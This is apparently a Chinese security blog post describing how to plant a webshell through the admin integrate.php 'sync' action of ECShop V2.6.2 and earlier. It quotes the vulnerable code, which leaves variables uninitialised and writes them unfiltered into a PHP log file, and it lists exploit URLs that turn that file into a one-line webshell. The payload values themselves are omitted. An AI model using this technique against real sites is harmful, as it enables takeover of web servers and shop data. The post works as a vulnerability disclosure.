ECShop网店系统<=V2.6.2 后台拿webshell
人气:0
ECSHOP前段时间出了个注射漏洞：http://bbs.wolvez.org/topic/67/，拿后台权限应该没有问题，但文章没有提及如何在后台拿shell。昨天可乐在t00ls.Net上发帖问如何拿shell，无聊中我baidu、google了下，网上貌似没有拿shell的办法。好久没读代码了，无聊中下了ECSHOP最新版（V2.6.2）的源码过来读，很庆幸，给我找到一个可以直接写shell的文件。与注射一样，同样是个变化未初始化导致的问题，于是，同样只能用在register_globals为on的环境下。
integrate.php第740行起：
if ($_REQUEST['act'] == 'sync')
{
$size = 100;
......
$tasks = array();
if ($task_del > 0)
{
$tasks[] = array('task_name'=>sprintf($_LANG['task_del'], $task_del),'task_status'=>'' . $_LANG['task_uncomplete'] . '');
$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 2";
$del_list = $db->getCol($sql);//$del_list未初始化
}
if ($task_rename > 0)
{
$tasks[] = array('task_name'=>sprintf($_LANG['task_rename'], $task_rename),'task_status'=>'' . $_LANG['task_uncomplete'] . '');
$sql = "SELECT user_name, alias FROM " . $ecs->table('users') . " WHERE flag = 3";
$rename_list = $db->getAll($sql);//$rename_list未初始化
}
if ($task_ignore >0)
{
$sql = "SELECT user_name FROM " . $ecs->table('users') . " WHERE flag = 4";
$ignore_list = $db->getCol($sql);//$ignore_list未初始化
}
......
/* 保存修改日志 */
$fp = @fopen(ROOT_PATH . DATA_DIR . '/integrate_' . $_SESSION['code'] . '_log.php', 'wb');
$log = '';
if (isset($del_list))
{
$log .= '$del_list=' . var_export($del_list,true) . ';';
}
if (isset($rename_list))
{
$log .= '$rename_list=' . var_export($rename_list, true) . ';';
}
if (isset($ignore_list))
{
$log .= '$ignore_list=' . var_export($ignore_list, true) . ';';
}
//未做过滤，直接写log
fwrite($fp, $log);
fclose($fp);
$smarty->assign('tasks', $tasks);
$smarty->assign('ur_here',$_LANG['user_sync']);
$smarty->assign('size', $size);
$smarty->display('integrates_sync.htm');
}
$del_list、$rename_list、$ignore_list均没有初始化，于是，均可以直接写shell。
利用方法：
http://www.oldjun.com/admin/integrate.php?act=sync&del_list=
http://www.oldjun.com/admin/inte ... nc&rename_list=
http://www.oldjun.com/admin/inte ... nc&ignore_list=
三个链接，随便输入一个就可以了，生成http://www.oldjun.com/data/integrate__log.php，就是一句话小马了~
